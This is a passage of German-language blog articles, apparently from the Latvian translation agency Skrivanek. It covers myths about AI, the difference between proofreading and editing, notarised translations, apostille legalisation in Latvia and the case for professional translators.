Übersetzungen. ZUKUNFTSAUSSICHTEN Künstliche Intelligenz und die Mythen, die sie umgeben Da sich die künstliche Intelligenz schneller entwickelt, als Menschen außerhalb der IT-Branche sie verstehen und begreifen können, gibt es auch einige Mythen, die mit ihr verbunden sind. Einer der bekanntesten wäre wohl, dass die KI den Menschen die Arbeitsplätze wegnehmen wird. Verständlicherweise haben wir Angst vor schnellen Veränderungen und ihren möglichen Folgen, aber Experten sagen, dass Menschen, die bereit sind, sich beruflich weiterzuentwickeln und neue Fähigkeiten zu erwerben, niemals arbeitslos sein werden. Künstliche Intelligenz hat das Leben der Menschen einfacher gemacht, die Produktivität erhöht und Raum für Kreativität geschaffen. Das bedeutet, dass es den Menschen nicht an Arbeit fehlen wird, aber ihre Aufgaben und Verantwortungsbereiche werden sich ändern. Fantasy Fans haben sich futuristischere Szenarien ausgedacht, in denen die KI die Welt übernimmt und die Menschen beherrscht; damit die KI Menschen jedoch „versklaven“ könnte, müsste sie über ein menschenähnliches Gehirn oder Bewusstsein verfügen, um diese Entscheidung überhaupt treffen zu können. Trotz der enormen Fortschritte in der Wissenschaft sind das Bewusstsein und das Potenzial des menschlichen Gehirns noch immer unerforscht, wie könnte also ein Computerprogramm es besser verstehen als wir? Die KI ist lediglich ein Werkzeug zur Lösung komplexer Probleme auf der Grundlage von vom Menschen definierten Methoden, Algorithmen und anderen ähnlichen Aspekten. Von einfachen Texten zu intelligenten Diskussionen Jetzt ist die künstliche Intelligenz zu einem Lehrer, einem Leiter, einem Assistenten und sogar einem Freund geworden, der Antworten auf fast alle Fragen gibt und die Fähigkeit zu „denken“ bestätigt (die künstliche Intelligenz hat sogar mehrere Prüfungen bestanden, die durchgeführt wurden, um die Denkweise und die Denkprozesse eines Menschen zu identifizieren). Experten sind der Meinung, dass die KI bedeutende positive Veränderungen in der Zukunft verspricht, wie z. B. einen verbesserten Zugang zu Informationen, Bildung, Gesundheit und Transport. Künstliche Intelligenz wird sich in Unternehmen immer mehr durchsetzen, sowohl im Dienste der Kunden als auch zur Sicherstellung des internen Betriebs in bestimmten Abteilungen; auch im Gesundheitswesen erwartet man einen Zuwachs an der KI. All dies erfordert aber auch mehr technisches Wissen und eine lösungsorientierte Gesellschaft. Wir können auch die ethischen Bedenken hinsichtlich der Auswirkungen der KI nicht ignorieren, wie z. B. Fragen des Datenschutzes, des Urheberrechts, der Haftung für falsche oder ungenaue Informationen und der daraus resultierenden Folgen menschlichen Handelns, des übermäßigen Vertrauens der Nutzer in KI-Lösungen und der mangelnden Datenüberprüfung, was zu schwerwiegenden Folgen führen kann. Die Welt verändert sich schnell und unausweichlich und wir müssen lernen, uns anzupassen und Chancen positiv und verantwortungsvoll zu nutzen, um eine positive Entwicklung zu fördern. Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Was ist der Unterschied zwischen dem Korrekturlesen und dem Lektorat? Wann Korrekturlesen erforderlich ist und welche Fehler ein Korrekturleser korrigiert. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/ - Kategorijas: Raksti - Translation Priorities: Optional WAS IST DAS KORREKTURLESEN UND WANN WIRD ES EINGESETZT? Jeder schriftliche Text, ob neu verfasst oder Übersetzung, erfordert zwangsläufig Korrekturlesen und Lektorat, bei dem Grammatik (Rechtschreibung, Zeichensetzung und Tippfehler), Terminologie, kulturelle und stilistische Nuancen der Sprache sowie der Satzbau überprüft werden. Obwohl sich Autoren oft sicher sind, dass ihre Texte korrekt und ihre Gedanken klar sind, erinnern uns Fachleute aus der Branche, die täglich mit dem Schreiben und Korrigieren von Texten zu tun haben, daran, dass es in der Regel schwierig ist, die eigenen Fehler zu erkennen, vor allem, wenn man einen frisch geschriebenen Text abliefern muss und keine Zeit hat, ihn am nächsten Tag noch einmal mit frischem Blick zu lesen. Außerdem haben nicht alle von uns ein gutes Sprachgefühl und ausgezeichneten Grammatikkenntnissen - wie wir alle wissen, ist die Zeichensetzung im Lettischen oft recht schwierig. In solchen Fällen kann ein professioneller Korrekturleser und Lektor helfen. LEKTOR UND KORREKTURLESER, LEKTORAT UND KORREKTURLESEN - WAS BEDEUTET DAS ALLES? Menschen, die nicht im Bereich der Sozialwissenschaften arbeiten, werden manchmal durch diese Begriffe verwirrt. Gehen wir näher auf die Berufe und Aufgaben eines Lektors und eines Korrekturlesers ein und erfahren wir, was Lektorat und Korrekturlesen bedeuten: Lektor vs. Korrekturleser Der Lektor organisiert und überwacht grundsätzlich notwendige redaktionelle Veränderungen in den Medien, zum Beispiel in Presse, Rundfunk, Fernsehen, elektronischen Medien, Buchverlagen, setzt die allgemeine Gestaltung und Grundidee von der Veröffentlichung um und leitet die Arbeit an dem jeweiligen Buch oder der jeweiligen Zeitung, wobei er mit Journalisten, Autoren, Übersetzern, Layoutern und Korrekturlesern zusammenarbeitet. Der Korrekturleser korrigiert grammatikalische Fehler in Texten. Heutzutage, wenn Texte am Computer geschrieben werden, wird die Grammatik oft mit Hilfe von Rechtschreibprüfungsprogrammen überprüft und die Arbeit des Korrektors ist eher ein literarisches Lektorat, das den Stil korrigiert und dem Autor Vorschläge zur Verbesserung des Textflusses macht. Lektorat vs. Korrekturlesen Das Korrekturlesen wird einem professionellen Korrektor mit philologischem Abschluss anvertraut, während das Lektorat von einer Fachperson durchgeführt wird, der sich sowohl in der jeweiligen Sprache als auch in der entsprechenden Kultur auskennt, ebenso wie ein Übersetzer auf ein bestimmtes Fachgebiet und dessen Terminologie spezialisiert ist, damit die Übersetzung korrekt in die Zielsprache übertragen wird und die Konsistenz und der richtige Kontext gewahrt bleiben. Die Aufgabe des Lektors besteht darin, jedes Dokument als einzelnen Text zu lesen und nicht nur auf mögliche Fehler zu prüfen, sondern auch den Inhalt verständlicher zu machen, indem er auf die Satzstruktur und andere wichtige Nuancen achtet. Wann und warum wird das Korrekturlesen in Anspruch genommen? Das Korrekturlesen ist notwendig, damit wir sicher sein können, dass der Text keine Übersetzungsfehler oder Rechtschreibfehler enthält, die von der Rechtschreibprüfung nicht angezeigt werden, alle Kommas gesetzt sind, keine Sonderzeichen fehlen und der Text stilistisch korrekt, ansprechend, zweckmäßig, respektvoll und für die Zielgruppe leicht verständlich ist. Ganz gleich, ob Sie eine Übersetzung oder nur eine redaktionelle Überarbeitung Ihres Textes benötigen, das Korrekturlesen bietet den Blick eines Außenstehenden, der die Qualität sicherstellt und einen professionellen ersten Eindruck vermittelt. VOM KORREKTURLESER KORRIGIERTE FEHLER Zeichensetzung In der Schriftsprache gibt es zwei Seiten der Rechtschreibung: die Schreibweise von Wortformen (Orthografie) und die Unterteilung und Verknüpfung von Spracheinheiten (Interpunktion). Verschiedene Sprachen haben unterschiedliche Satzzeichen und Grammatikregeln, die es dem Leser erleichtern, den geschriebenen Text wahrzunehmen und ihn richtig und klar zu verstehen. Es wäre schwierig, einen Text zu lesen, in dem die Rechtschreibung nicht beachtet wird und alle Palatalisierungszeichen verschwunden sind, aber es wäre auch schwierig, die ausgedrückten Gedanken ohne Satzzeichen zu verstehen. In der lettischen Sprache ist nicht nur das Satzzeichen am Ende des Satzes wie Punkt, Fragezeichen, Ausrufezeichen oder Ellipse von großer Bedeutung, da es den Tonfall und die Bedeutung des Satzes bestimmt, sondern auch Kommas, Gedankenstriche, Bindestriche, Doppelpunkte und Semikolons, die zur Strukturierung des Textes beitragen und wichtige begriffliche Unterschiede und Nuancen einführen. Im Falle der Zeichensetzung reicht es nicht aus, nur die Grammatikregeln zu kennen. Häufig wird die Verwendung von Satzzeichen auch durch den stilistischen Ton und die Funktion des Textes bestimmt. Belletristik, wissenschaftliche Literatur, akademische Forschung, Journalismus, Wirtschaftsartikel - all diese Sprachstile haben seine eigenen Merkmale, die dazu beitragen, den Inhalt direkt und präzise wiederzugeben. Belletristik bietet die größte Möglichkeiten, mit Hilfe von Zeichensetzung nicht nur die grammatikalische Struktur von Sätzen, sondern auch verschiedene Intonationen und begriffliche Nuancen wiedergeben, aber auch in so genannten Copywriting-Texten - Werbung, beschreibende Abschnitte von Websites, Pressemitteilungen usw. - ist dies von Bedeutung. Rechtschreibung Die Orthografie ist das konventionelle Rechtschreibsystem einer Sprache. Hier achtet der Korrekturleser darauf, dass die Großbuchstaben korrekt verwendet werden, wobei beachtet wird, dass in der lettischen Sprache bei der Schreibweise von Ordensbezeichnungen alle Wörter groß geschrieben werden, mit Ausnahme von „Orden“, aber nur der erste Buchstabe in den Namen von Institutionen; alle Längestriche sind dort, wo sie sein sollten; die Schreibweise von komplizierten Wörtern und Ausnahmen wird korrekt verwendet. In gedruckten Texten ist die korrekte Übertragung in eine neue Zeile ebenfalls wichtig, aber bei komplexeren Übersetzungen sollte auf die Wiedergabe von Fremdwörtern geachtet werden, da die Schreibweise oft ungewöhnlich ist. Stilistische Fehler und Stilistik Stilistik ist die Fähigkeit der Sprache, zusätzliche Informationen auszudrücken, die auf das Kommunikationsumfeld und die subjektive Einstellung des Sprechers oder Schreibers gegenüber der Botschaft oder dem Leser hinweisen. Das sind die stilistischen Fehler, die unser Sprachlehrer in der Schule mit einer Wellenlinie am Rand des Heftes markiert hat. Stilistische Fehler treten auf, wenn stilistisch und/ oder emotional ausdrucksstarke Formen der Sprache in einer unangemessenen Situation verwendet werden. Die sprachliche Etikette verlangt, dass es Wörter und Satzstrukturen gibt, die wir in alltäglichen Gesprächen und in der Korrespondenz mit Freunden bedenkenlos verwenden können, die wir aber niemals in einer formellen E-Mail für die Arbeit oder in einem juristischen Vertrag verwenden würden. Ein Korrekturleser hat die Fähigkeit kultiviert und entwickelt, sich in der Sprache zurechtzufinden und Wörter für bestimmte sprachliche Situationen zu wählen, so dass er weiß, wann ein lockerer Spruch angemessen ist und wann eine strukturierte, geschäftliche Sprache am besten geeignet ist. Ein Korrekturleser arbeitet in seiner Muttersprache Die Empfehlungen des Korrekturlesers oder Lektors sind nicht nur nach der Übersetzung nützlich, sondern auch bei der Erstellung von Marketingtexten, wo es sehr wichtig ist, Rechtschreibfehler zu vermeiden und Texte zu verfassen, die eine bestimmte Zielgruppe ansprechen. In Übersetzungsbüros arbeiten die Korrekturleser mit Texten in ihrer Muttersprache, was nicht nur die grammatikalische Korrektheit des Textes gewährleistet, sondern auch die Einhaltung der Kultur und der Traditionen der Sprache, da der Korrektor die Phraseologie und verschiedene Ausdrücke kennt, die nicht wörtlich übersetzt werden können. Der Korrekturleser gibt dem Text den letzten Schliff und sorgt dafür, dass die Übersetzung in der Zielsprache verständlich ist und natürlich klingt. Deshalb achtet Skrivanek darauf, dass jede Übersetzung von einem muttersprachlichen Korrekturleser überprüft wird. Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Was ist eine notariell beglaubigte Übersetzung? Für welche Dokumente und wann ist sie notwendig? Finden Sie es in diesem Artikel heraus! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/ - Kategorijas: Raksti - Translation Priorities: Optional WANN BRAUCHEN SIE EINE NOTARIELL BEGLAUBIGTE ÜBERSETZUNG? Wenn Sie eine Übersetzung benötigen, sollten Sie nach einem Übersetzungsbüro suchen, das notariell beglaubigte Übersetzungen von Dokumenten anbietet. Notariell beglaubigte Übersetzungen sind erforderlich für Dokumente wie Geburtsurkunden, Heiratsurkunden, Bildungsabschlüsse, Strafregisterauszüge, Gesundheitszeugnisse, verschiedene staatliche Genehmigungen usw. Bei solchen Übersetzungen wird die Übersetzung mit der Unterschrift eines qualifizierten Übersetzers beglaubigt und die Unterschrift anschließend von einem vereidigten Notar bestätigt. Die Aufgabe des Notars besteht darin, sich von der Ausbildung und Qualifikation des Übersetzers zu überzeugen, während der Übersetzer die Verantwortung für die Übereinstimmung der Übersetzung mit dem Originaldokument übernimmt. NOTARIELL BEGLAUBIGTE ÜBERSETZUNGEN IN MITGLIEDSTAATEN DES HAAGER ÜBEREINKOMMENS Wird die Urkunde in einem ausländischen Staat ausgestellt, der Mitglied des Haager Übereinkommens vom 5. Oktober 1961 zur „Befreiung ausländischer öffentlicher Urkunden von der Legalisation“ ist, werden Übersetzungen von Urkunden mit Apostille von einer im Ausstellungsstaat dazu befugten Institution beglaubigt. Das Haager Übereinkommen hat das Verfahren für notariell beglaubigte Übersetzungen erheblich vereinfacht, da ein Dokument, das einmal mit einer Apostille beglaubigt wurde, in mehr als 100 Mitgliedstaaten des Haager Übereinkommens nicht erneut beglaubigt werden muss. In der Republik Lettland ist das Haager Übereinkommen seit dem 30. Januar 1996 in Kraft. Bisher wurde die Ausstellung von öffentlichen Dokumenten in Lettland mit einer Apostille nur in der Konsularabteilung des Außenministeriums der Republik Lettland vorgenommen, aber seit dem 1. Juli 2019 kann dies von vereidigten Notaren überall in Lettland durchgeführt werden, und elektronisch ausgestellte Dokumente können auch aus der Ferne mit einer Apostille beglaubigt werden. Wird das Dokument jedoch in Lettland ausgestellt und soll in einem Land verwendet werden, das nicht Vertragspartei des Haager Übereinkommens ist, muss es zunächst bei der Konsularabteilung des Außenministeriums der Republik Lettland legalisiert werden. Das Verfahren zur Dokumentenlegalisierung ist einfach und schnell: Sie müssen mit dem Original des Dokuments und Ihrem Reisepass oder Personalausweis zu einem Notar gehen; wenn ein Muster der Unterschrift und des Siegels des Beamten, der das Dokument ausgestellt hat, in der Datenbank für Unterschriftsmuster vorhanden ist, kann das Dokument innerhalb von ein oder zwei Tagen beglaubigt werden. ARTEN VON NOTARIELL BEGLAUBIGTEN ÜBERSETZUNGEN Dem Originaldokument beigefügte Beglaubigung: Eine von einem qualifizierten Übersetzer beglaubigte Übersetzung, deren Unterschrift von einem Notar beglaubigt wurde, wird dem Originaldokument beigefügt. Beglaubigung der Kopie: Es wird eine Fotokopie des Originaldokuments angefertigt, an die eine von einem qualifizierten Übersetzer in der betreffenden Sprache beglaubigte Übersetzung angeheftet wird. Eine Fotokopie mit einer Übersetzung wird nur dann von einem Notar beglaubigt, wenn das Originaldokument vorgelegt wird. VORBEREITUNG DES ORIGINALDOKUMENTS Wenn Sie eine beglaubigte Übersetzung eines Dokuments benötigen, muss das Originaldokument vollständig ausgefertigt und rechtsgültig sein, d. h. es muss Folgendes enthalten: den Namen der Person, die das Dokument erstellt hat; das Erstellungsdatum; den Ortsnamen, an dem das Dokument erstellt, ausgestellt und unterzeichnet wurde; die Unterschrift(en). Weitere Informationen über die Vorbereitung von Dokumenten finden Sie in der Verordnung des Ministerkabinetts vom 28. September 2010 Nr. 916 „Verfahren zur Erstellung und Vorbereitung von Dokumenten“. Es kann vorkommen, dass Sie eine notariell beglaubigte Übersetzung elektronisch mit elektronischer Unterschrift einreichen müssen, das Originaldokument aber in Papierform vorliegt. Das Übersetzungsbüro fertigt dann die Übersetzung des Dokuments in Papierform an, der Übersetzer und ein vereidigter Notar beglaubigen sie mit ihren Unterschriften und die unterzeichnete Übersetzung wird mit dem Originaldokument oder einer notariell beglaubigten Kopie zusammengeheftet. Die Übersetzung des Dokuments wird gescannt und anschließend von einem Notar mit einer elektronischen Unterschrift beglaubigt. Eine notariell beglaubigte Übersetzung eines elektronisch signierten Dokuments kann jedoch direkt digital erstellt werden. WAS BIETET SKRIVANEK AN? Das Übersetzungsbüro Skrivanek bietet notariell beglaubigte Übersetzungen in mehr als 110 Sprachen an. Wir liefern notariell beglaubigte Übersetzungen, die entweder dem Originaldokument oder einer beglaubigten Kopie in Übereinstimmung mit den Gesetzen der Republik Lettland beigefügt sind. Die Richtigkeit und Übereinstimmung der Übersetzung wird von einem vereidigten Notar beglaubigt, aber ein vereidigter Übersetzer übernimmt die volle Verantwortung für die Qualität der Übersetzung. Qualität und garantierter Datenschutz Wir gehören zu den 100 größten Übersetzungsdienstleistern der Welt. Damit unsere Dienstleistungen sowohl den Anforderungen unserer Kunden als auch den gesetzlichen Vorschriften entsprechen, haben wir die notwendigen Vorkehrungen getroffen. Skrivanek war das erste Übersetzungsbüro in Mittel- und Osteuropa, das die Anforderungen der Norm ISO 9001 für Qualitätsmanagementsysteme vollständig erfüllte. Darüber hinaus gewährleistet Skrivanek die Vertraulichkeit von Arbeitsprozessen und -kontrollen sowie von Kundendaten gemäß dem Informationssicherheitsmanagementsystem ISO/ IEC 27001:2022. Ein Team von Fachleuten Unsere Stärke ist unser professionelles internationales Team: Dolmetscher, Übersetzer, Lektoren, Korrekturleser und Copywriter, die auf verschiedene Fachgebiete und Branchen spezialisiert sind, um eine breite Palette von Übersetzungen in verschiedenen Sprachkombinationen anbieten zu können. Wir arbeiten sowohl an kleinen als auch an großen Projekten, einschließlich technisch komplexer Übersetzungen mit branchenspezifischer Terminologie. Geschwindigkeit und Effizienz Skrivanek verfügt über eine Datenbank mit mehr als 3. 000 qualifizierten Übersetzern und kann deswegen in kürzester Zeit Übersetzungen von höchster Qualität in allen Sprachen liefern. Vor Beginn der Übersetzung vereinbaren der Projektmanager und der Kunde die Abgabefrist. Für eine Übersetzung von 500 Wörtern benötigen wir in der Regel einen Arbeitstag, für einen Text von 1. 000 Wörtern eineinhalb Arbeitstage, aber wir können auch Eilübersetzungen anfertigen. In diesem Fall werden wir die Abgabefrist und den Preis individuell mit Ihnen vereinbaren. Der Preis für die schriftliche Übersetzung beinhaltet das Korrekturlesen durch einen Muttersprachler der Zielsprache. Der Preis für die Übersetzung hängt vom Umfang, der Sprachkombination und den Besonderheiten des Textes ab. Um ein genaueres Preisangebot zu erhalten, kontaktieren Sie uns oder besuchen Sie unser Büro in Riga, Lāčplēša iela 87C. BENÖTIGEN SIE EINE NOTARIELL BEGLAUBIGTE ÜBERSETZUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Wie werden Dokumente mit einer Apostille legalisiert? Was ist eine Apostille? Für welche Dokumente ist sie erforderlich? Die Antworten finden Sie in diesem Artikel! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/kas-ir-apostille/ - Kategorijas: Artikel - Translation Priorities: Optional WAS IST EINE APOSTILLE? Übersetzungsbüros übersetzen häufig offizielle öffentliche Dokumente. In solchen Fällen muss bestätigt werden, dass der Beamte, der das Dokument unterzeichnet hat, tatsächlich in Lettland arbeitet und dass seine Unterschrift und sein Siegel auf dem Dokument echt sind, damit die Dokumente in einem Land die gleiche Rechtswirkung in einem anderen Land haben. Dieses Verfahren ist durch das Haager Übereinkommen erheblich vereinfacht worden. Wenn das Dokument in einem ausländischen Land ausgestellt wurde, das Mitglied des Haager Übereinkommens vom 5. Oktober 1961 zur „Befreiung ausländischer öffentlicher Urkunden von der Legalisation“ ist, muss die Echtheit des Dokuments mit einem besonderen Stempel - der Apostille - bei der zuständigen Institution des Ausstellungslandes beglaubigt werden. Ein Dokument, das einmal mit einer Apostille beglaubigt wurde, muss jedoch in mehr als 100 Mitgliedstaaten des Haager Übereinkommens nicht erneut beglaubigt werden. Das bedeutet, dass das gleiche Dokument in Lettland, Polen, Griechenland, Chile und anderen Ländern gültig ist. In der Republik Lettland ist das Haager Übereinkommen am 30. Januar 1996 in Kraft getreten. WELCHE DOKUMENTE BENÖTIGEN EINE APOSTILLE? Die Beglaubigung der Echtheit von Dokumenten mit einer Apostille wird in verschiedenen Situationen relevant, die wir im Laufe unseres Lebens erleben, z. B. wenn eine Person in ein anderes Land zieht, im Ausland arbeitet oder studiert, einen Bürger eines anderen Landes heiraten oder sich scheiden lassen möchte, ein Bankkonto eröffnen will, Dokumente im Zusammenhang mit einer Erbschaft in einem anderen Land ausstellen möchte usw. Öffentliche Dokumente wie Geburtsurkunden, Heiratsurkunden, Bildungsabschlüsse, Strafregisterauszüge und Gesundheitszeugnisse, verschiedene staatliche Genehmigungen usw. werden mit einer Apostille beglaubigt. WIE ERFOLGT DIE LEGALISIERUNG MIT EINER APOSTILLE? Bisher wurde die Legalisierung von in Lettland ausgestellten öffentlichen Dokumenten mit einer Apostille nur in der Konsularabteilung des Außenministeriums der Republik Lettland vorgenommen, aber seit dem 1. Juli 2019 kann dies von vereidigten Notaren überall in Lettland durchgeführt werden und elektronisch ausgestellte Dokumente können auch aus der Ferne mit einer Apostille beglaubigt werden. Wenn die Legalisierung von öffentlichen Dokumenten erforderlich ist, empfiehlt es sich, vor der Reise in ein Land, in dem das betreffende Dokument einer Institution vorgelegt werden muss, zu prüfen, ob es mit einer Apostille beglaubigt werden muss. Es ist auch zu beachten, dass nur in der Republik Lettland ausgestellte Dokumente von einem vereidigten Notar mit einer Apostille beglaubigt werden können. Das Verfahren selbst ist einfach und geht schnell: Sie müssen zum Notar gehen und das Original des Dokuments sowie Ihren Reisepass oder Personalausweis mitnehmen. Wenn ein Muster der Unterschrift und des Siegels des Beamten, der das Dokument ausgestellt hat, in der Datenbank für Unterschriftsmuster vorhanden ist, kann das Dokument innerhalb eines Arbeitstages beglaubigt werden. Diese Aufgabe kann auch einem professionellen Übersetzungsbüro anvertraut werden, das alles für Sie erledigt. NOTARIELL BEGLAUBIGTE ÜBERSETZUNGEN VON DOKUMENTEN BEI SKRIVANEK Bei Übersetzungen öffentlicher Dokumente ist es die Aufgabe eines vereidigten Notars, die Ausbildung und Qualifikation des Übersetzers zu überprüfen und den Übersetzer auf seine Verantwortung gemäß Artikel 300 und 302 des Strafgesetzes der Republik Lettland hinzuweisen, wenn er absichtlich eine falsche und/oder fehlerhafte Übersetzung angefertigt hat. Um den Prozess der Legalisierung von Dokumenten zu erleichtern, bietet das Übersetzungsbüro Skrivanek an, Übersetzungen beglaubigen zu lassen. Das bedeutet, dass die Übersetzung des Dokuments zunächst mit der Unterschrift eines qualifizierten Übersetzers beglaubigt wird und die Unterschrift des Übersetzers anschließend von einem vereidigten Notar beglaubigt wird. Wir bieten beglaubigte Übersetzungen in mehr als 110 Sprachen an. TIPPS FÜR DIE VORBEREITUNG VON DOKUMENTEN Damit die Übersetzung beglaubigt werden kann, muss das Originaldokument vollständig ausgefertigt und rechtsgültig sein, d. h. es muss folgende Angaben enthalten: den Namen der Person, die das Dokument erstellt hat; das Datum der Erstellung; den Namen des Ortes, an dem das Dokument erstellt, ausgestellt und unterzeichnet wurde; die Unterschrift(en). Wir können auch dann helfen, wenn Sie eine beglaubigte Übersetzung elektronisch mit elektronischer Unterschrift einreichen müssen, die Originale des Dokuments aber in Papierform vorliegen. In solchen Fällen fertigen wir zunächst die Übersetzung des Originaldokuments in Papierform an, die vom Übersetzer unterzeichnet und von einem vereidigten Notar beglaubigt wird, und das Original oder eine notariell beglaubigte Kopie des Originals wird mit der unterzeichneten Übersetzung zusammengeheftet. Sobald die Übersetzung des Dokuments in Papierform fertiggestellt ist, wird sie eingescannt und von einem Notar mit einer elektronischen Unterschrift beglaubigt. Sie können eine notariell beglaubigte Übersetzung im edoc-, asic-e- oder PDF-Format erhalten, ganz nach Ihrem Belieben. Eine notariell beglaubigte Übersetzung eines elektronisch signierten Dokuments wird sofort elektronisch erstellt. Dieser Dienst ist im edoc- oder asic-e- verfügbar, aber nicht im PDF-Format. BENÖTIGEN SIE EINE NOTARIELL BEGLAUBIGTE ÜBERSETZUNG ODER DIE LEGALISIERUNG EINES DOKUMENTS MIT APOSTILLE? KONTAKTIEREN SIE UNS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Was ist eine Übersetzung? Welche Übersetzungsdienstleistungen bieten Übersetzungsbüros an und wie wähle ich einen Übersetzungsdienstleister aus? Lesen Sie hier mehr dazu! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/ - Kategorijas: Artikel - Translation Priorities: Optional ÜBERSETZUNG - WARUM SOLLTE MAN DAS DEN PROFIS ÜBERLASSEN? WAS SIND ÜBERSETZUNGSTOOLS? Sprache ist eines der wichtigsten Werkzeuge, um im Leben voranzukommen - wir verwenden Sprache, um Informationen zu vermitteln, Gefühle auszudrücken, Ideen und Meinungen zu äußern, berufliche und private Beziehungen zu knüpfen, und wir verwenden Sprache auch, um zu denken. Da es auf der Welt mehr als 4. 000 Sprachen gibt mit mehr als 1. 000 Sprechern, spielen Übersetzungsdienste eine wichtige Rolle bei der Aufrechterhaltung einer schnellen und qualitativ hochwertigen fehlerfreien Kommunikation und des Informationsflusses zwischen Menschen, Unternehmen und Kunden, Geschäftspartnern, staatlichen Einrichtungen usw. Übersetzungsbüros bieten heute verschiedene professionelle Dienstleistungen an, die nicht nur die Übertragung von schriftlichen und mündlichen Informationen von einer Sprache in eine andere umfassen, sondern auch beglaubigte Übersetzungen, die Erstellung von Texten für Inhalte (Werbung, Homepage, SEO usw. ) oder deren Adaption/ Lokalisierung, technische Unterstützung bei Online-Veranstaltungen sowie die Formatierung oder Digitalisierung von Dokumenten. ÜBERSETZUNGSBÜRO - PROFESSIONALITÄT UND ERFAHRUNG Bei der Umsetzung von wichtigen Dokumenten, komplexen Projekten und Arbeiten ist die Zusammenarbeit mit einem Übersetzungsdienstleister von unschätzbarem Wert. Ein gutes, zertifiziertes Übersetzungsbüro arbeitet mit hochqualifizierten und anerkannten Fachleuten zusammen, die über die entsprechende Ausbildung, Kompetenz und Erfahrung in ihrem Fachgebiet sowie über Kenntnisse nicht nur in Sprachen, sondern auch in anderen Bereichen verfügen, um Dokumente und Texte unterschiedlicher Thematik und Komplexität bearbeiten zu können. Wenn Sie eine Übersetzung für ein bestimmtes Fachgebiet benötigen, ist es wichtig, dass der Dolmetscher oder Übersetzer auch die Terminologie und die Sprachetikette kennt. Professionelle Übersetzer haben außerdem Zugang zu einer Vielzahl von Wörterbüchern, Online-Ressourcen und moderner Übersetzungssoftware, um eine genaue Übersetzung zu garantieren. Wenn Sie mit einem Übersetzungsbüro zusammenarbeiten, haben Sie Zugang zu hochqualifizierten Fachleuten in einer Vielzahl von Sprachkombinationen sowie zu unschätzbarer Unterstützung beim Projektmanagement, wodurch die Qualität gewährleistet ist, die Fristen immer eingehalten werden und Sie langfristig Zeit und Geld sparen. Der Preis für die Übersetzung wird in der Regel auf der Grundlage der Anzahl der Wörter in der Ausgangssprache (Original) des Textes berechnet, kann aber auch von der Frist beeinflusst werden. Der Kunde vereinbart in der Regel mit dem Übersetzungsbüro einen Termin für die Übersetzung, aber man kann davon ausgehen, dass eine Übersetzung von bis zu 500 Wörtern im Durchschnitt einen ganzen Arbeitstag und die Übersetzung von 1000 Wörtern mindestens eineinhalb Arbeitstage in Anspruch nimmt. ÜBERSETZER VS. DOLMETSCHER Es gibt zwei Arten von Übersetzungsspezialisten: Dolmetscher liefern mündliche Übersetzungen, Übersetzer schriftliche Übersetzungen. Zu den schriftlichen Übersetzungen gehören Dokumente, Verträge, Rechnungen, Werbe- und Website-Texte, Bücher, wissenschaftliche Veröffentlichungen und andere Übersetzungen von Texten. In der Regel gibt das Übersetzungsbüro die Fachgebiete und Branchen an, in denen es tätig ist, z. B. Medizin, Recht, Wirtschaft, Landwirtschaft, denn das bedeutet, dass der Übersetzer auch in dem jeweiligen Fachgebiet orientiert sein muss, damit die Übersetzung von hoher Qualität ist und eine einheitliche und korrekte Terminologie verwendet wird. Das Dolmetschen kann in zwei Arten unterteilt werden: Simultan- und Konsekutivdolmetschen. Simultandolmetschen 